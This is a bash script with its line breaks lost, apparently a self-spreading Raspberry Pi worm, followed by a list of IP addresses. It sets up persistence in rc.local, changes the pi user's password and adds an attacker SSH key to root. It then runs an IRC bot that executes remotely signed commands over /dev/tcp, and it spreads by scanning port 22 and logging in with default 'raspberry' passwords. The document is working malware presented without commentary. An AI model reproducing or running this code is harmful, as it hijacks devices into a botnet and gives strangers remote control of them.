#!/bin/bashMYSELF=`realpath $0`DEBUG=/dev/nullecho $MYSELF >> $DEBUGif [ "$EUID" -ne 0 ]thenNEWMYSELF=`mktemp -u 'XXXXXXXX'`sudo cp $MYSELF /opt/$NEWMYSELFsudo sh -c "echo '#!/bin/sh -e' > /etc/rc.local"sudo sh -c "echo /opt/$NEWMYSELF >> /etc/rc.local"sudo sh -c "echo 'exit 0' >> /etc/rc.local"sleep 1sudo rebootelseTMP1=`mktemp`echo $TMP1 >> $DEBUGkillall bins.shkillall minerdkillall nodekillall nodejskillall ktx-armv4lkillall ktx-i586killall ktx-m68kkillall ktx-mipskillall ktx-mipselkillall ktx-powerpckillall ktx-sh4killall ktx-sparckillall arm5killall zmapkillall kaitenkillall perlecho "127.0.0.1 bins.deutschland-zahlung.eu" >> /etc/hostsrm -rf /root/.bashrcrm -rf /home/pi/.bashrcusermod -p \$6\$vGkGPKUr\$heqvOhUzvbQ66Nb0JGCijh/81sG1WACcZgzPn8A0Wn58hHXWqy5yOgTlYJEbOjhkHD0MRsAkfJgjU/ioCYDeR1 pimkdir -p /root/.sshecho "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D6s4J0L7XV2kep0rNzgY1S1IdE8HDef7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B" >> /root/.ssh/authorized_keysecho "nameserver 8.8.8.8" >> /etc/resolv.confrm -rf /tmp/ktx*rm -rf /tmp/cpuminer-multirm -rf /var/tmp/kaitencat > /tmp/public.pem <<EOFMARKER-----BEGIN PUBLIC KEY-----MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/ihTe2DLmG9huBi9DsCJ90MJsglv7y530TWw2UqNtKjPPA1QXvNsWdiLpTzyvk8mv6ObWBF8hHzvyhJGCadl0v3HWrXneU1DK+7iLRnkI4PRYYbdfwp92nRza00JUR7P4pghG5SnRK+R/579vIiy+1oAFWRq+Z8HYMvPlgSRA3wIDAQAB-----END PUBLIC KEY-----EOFMARKERBOT=`mktemp -u 'XXXXXXXX'`cat > /tmp/$BOT <<'EOFMARKER'#!/bin/bashSYS=`uname -a | md5sum | awk -F' ' '{print $1}'`NICK=a${SYS:24}while [ true ]; doarr[0]="ix1.undernet.org"arr[1]="ix2.undernet.org"arr[2]="Ashburn.Va.Us.UnderNet.org"arr[3]="Bucharest.RO.EU.Undernet.Org"arr[4]="Budapest.HU.EU.UnderNet.org"arr[5]="Chicago.IL.US.Undernet.org"rand=$[$RANDOM % 6]svr=${arr[$rand]}eval 'exec 3<>/dev/tcp/$svr/6667;'if [[ ! "$?" -eq 0 ]] ; thencontinuefiecho $NICKeval 'printf "NICK $NICK\r\n" >&3;'if [[ ! "$?" -eq 0 ]] ; thencontinuefieval 'printf "USER user 8 * :IRC hi\r\n" >&3;'if [[ ! "$?" -eq 0 ]] ; thencontinuefi# Main loopwhile [ true ]; doeval "read msg_in <&3;"if [[ ! "$?" -eq 0 ]] ; thenbreakfiif [[ "$msg_in" =~ "PING" ]] ; thenprintf "PONG %s\n" "${msg_in:5}";eval 'printf "PONG %s\r\n" "${msg_in:5}" >&3;'if [[ ! "$?" -eq 0 ]] ; thenbreakfisleep 1eval 'printf "JOIN #biret\r\n" >&3;'if [[ ! "$?" -eq 0 ]] ; thenbreakfielif [[ "$msg_in" =~ "PRIVMSG" ]] ; thenprivmsg_h=$(echo $msg_in| cut -d':' -f 3)privmsg_data=$(echo $msg_in| cut -d':' -f 4)privmsg_nick=$(echo $msg_in| cut -d':' -f 2 | cut -d'!' -f 1)hash=`echo $privmsg_data | base64 -d -i | md5sum | awk -F' ' '{print $1}'`sign=`echo $privmsg_h | base64 -d -i | openssl rsautl -verify -inkey /tmp/public.pem -pubin`if [[ "$sign" == "$hash" ]] ; thenCMD=`echo $privmsg_data | base64 -d -i`RES=`bash -c "$CMD" | base64 -w 0`eval 'printf "PRIVMSG $privmsg_nick :$RES\r\n" >&3;'if [[ ! "$?" -eq 0 ]] ; thenbreakfififidonedoneEOFMARKERchmod +x /tmp/$BOTnohup /tmp/$BOT 2>&1 > /tmp/bot.log &rm /tmp/nohup.log -rfrm -rf nohup.outsleep 3rm -rf /tmp/$BOTNAME=`mktemp -u 'XXXXXXXX'`date > /tmp/.sapt-get update -y --force-yesapt-get install zmap sshpass -y --force-yeswhile [ true ]; doFILE=`mktemp`zmap -p 22 -o $FILE -n 100000killall ssh scpfor IP in `cat $FILE`dosshpass -praspberry scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME && echo $IP >> /opt/.r && sshpass -praspberry ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &sshpass -praspberryraspberry993311 scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME && echo $IP >> /opt/.r && sshpass -praspberryraspberry993311 ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &donerm -rf $FILEsleep 10donefi
ip
18.132.196.152
102.37.42.55
46.30.234.60
46.30.234.60
79.98.159.7
79.98.159.7
54.153.54.230
81.151.94.19
138.68.91.250
138.68.91.250
35.200.133.234
35.200.133.234
68.169.61.66
77.240.100.215
77.240.100.215
54.92.204.47
206.189.139.95
206.189.139.95
54.233.114.207
198.199.120.102
198.199.120.102
81.196.205.195
81.196.205.195
13.52.183.6
68.183.228.248
68.183.228.248
81.196.205.210
81.196.205.210
134.209.89.233
134.209.89.233
153.196.173.38
153.196.173.38
167.172.119.82
